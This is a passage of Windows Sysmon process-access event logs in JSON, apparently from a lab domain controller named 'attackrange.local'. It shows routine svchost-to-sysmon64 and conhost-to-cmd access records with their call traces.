{90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4294,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4295,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4296,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4297,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4298,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4299,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4300,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4301,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nSourceProcessId: 3148\r\nSourceThreadId: 2512\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010250D0600}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 